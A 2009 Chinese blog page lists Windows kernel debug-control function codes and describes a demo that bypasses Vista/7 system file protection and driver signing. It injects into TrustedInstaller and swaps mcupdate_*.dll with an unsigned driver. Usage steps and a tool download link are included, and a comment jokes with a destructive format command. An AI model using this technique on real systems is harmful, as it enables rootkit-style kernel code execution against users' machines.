其中29号功能也是比较有意思的,可以产生一个系统即时的MINIDUMP

6:if KdDebugEnable , return STATUS_UNSUCESSFUL else DbgBreakWithStatus(6)
22: KdDisableDebugger
21:KdEnableDebugger
23:get status of KdAutoEnableOnEvent(input len = 1)
24:set KdAutoEnableOnEvent (input len =1)
25:get KdPrintBufferSize (input len =4)
26:set KdPrintBufferSize(input len =4)
27:get KdIgnoreUmExceptions(input len =1)
28:set KdIgnoreUmExceptions(input len =1)
29:DbgkCaptureLiveDump
30:get KdBlockEnable
31:set KdBlockEnable
32:set KdUmBreakMarker , 0xDB1DBBBB
33.get KdUmBreakPid
34:set KdUmBreakPid
35:get KdUmAttachPid
36:set KdUmAttachPid

类别:默认分类 | 评论(3) | 浏览()
 
2009-05-10 03:25

这个小DEMO花了我两个周末的时间~主要是修改mcupdate.dll太麻烦了,还是参考了diyhack 的方法,并且对remotethread做了一些猥琐的改造,才搞定了

在这里感谢DIYHACK提供的线索~

原先说WIN7上用microcode加载驱动,但是xHalMicroCode没实现,其实不是没实现,而是在halinitsystem时填充(ntoskrnl 做SystemStartup时调用),其实就是hal私有dispatch表,当时居然没注意。。。

另外VISTA也支持MICROCODE加载驱动,这个就不多说了

DEMO的主要原理是通过cpuid指令确定CPU类型,BUILD MCU UPDATE DLL的路径,然后启动TrustedInstall服务,注入之,覆盖mcupdte dll,然后unload muc update的image ,再reload

这样我们的驱动可以得到一次内核的执行机会

其他细节:

(1).vista/win7的系统文件防护太强大了。第一周我直接磁盘感染(因此有了前面某篇BLOG),失败,提权失败,然后改注入TrustedInstall服务,发现createremotethread居然也有猫腻~太猥琐了。因此DEMO理对createremotethread做了比较不通用的手脚,测试程序我只在VISTA SP0/SP1上跑过,WIN7上不知道会不会有问题,不过应该可行

(2).感染完mucupdate.dll加载完,一定要记得在驱动里或者注入trustedinstall再改回来,因为重启时是由ntldr加载mcuupdate,会检查微软的签名,签名不过系统就启动不了~其实本来这个可以做bootkit,因为mcuupdate是boot load,然后halinitsystem会在很早的地方调用它,不过没有签名,所以不行了~

所以测试这个DEMO务必在虚拟机中进行,并且最好开启boot debugging,用WINDBG调试系统,这样就不会因为没签名而无法启动,一旦进不去了,用vmware直接映射虚拟机系统盘都改不了mcupdate_GenuineIntel.dll ~当然我的这个DEMO程序可以改,参考微软的话:

*** Windows is unable to verify the signature of the file \Windows\system32\mcupdate_GenuineIntel.dll. It will be allowed to load because the boot debugger is enabled.

demo程序下载:http://www.debugman.com/read.php?tid=3048

使用方法:

(1).虚拟机内测试,做好snapshot,用bcdedit /bootdebug on和bcdedit /debug on开启BOOT调试,用WINDBG调试虚拟机(此步骤不是必须,但以防万一~不然进不了系统不要找我)

(2).备份system32下mcupdate_xxxxx.dll(xxxx为你的CPU类型)文件

(3).将xxload.exe和mcud.sys复制到同一目录(例如桌面),以管理员权限运行xxload.exe

(4).你可以看到成功的提示后,用冰刃等工具查看内核模块列表,可以看到大小4096的mcud.sys已经成功进驻内核模块,同时c:\windows\system32\mcupdate_xxxx.dll也被改成了这个文件

(5).完了将备份的mcupdate覆盖为mcud.sys,运行xxload将文件覆盖回来,不然重启就启动不了了~

类别:默认分类 | 评论(3) | 浏览()
 
     
 
 
文章分类
 
 
     
 
文章存档
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
     
 
最新文章评论
   

太猥琐了............
 
 

MJ做起Crack了……
 

回复FlowerCode:过期format x:\av\*.*
 

出补丁吧。:)
 
     


©2009 Baidu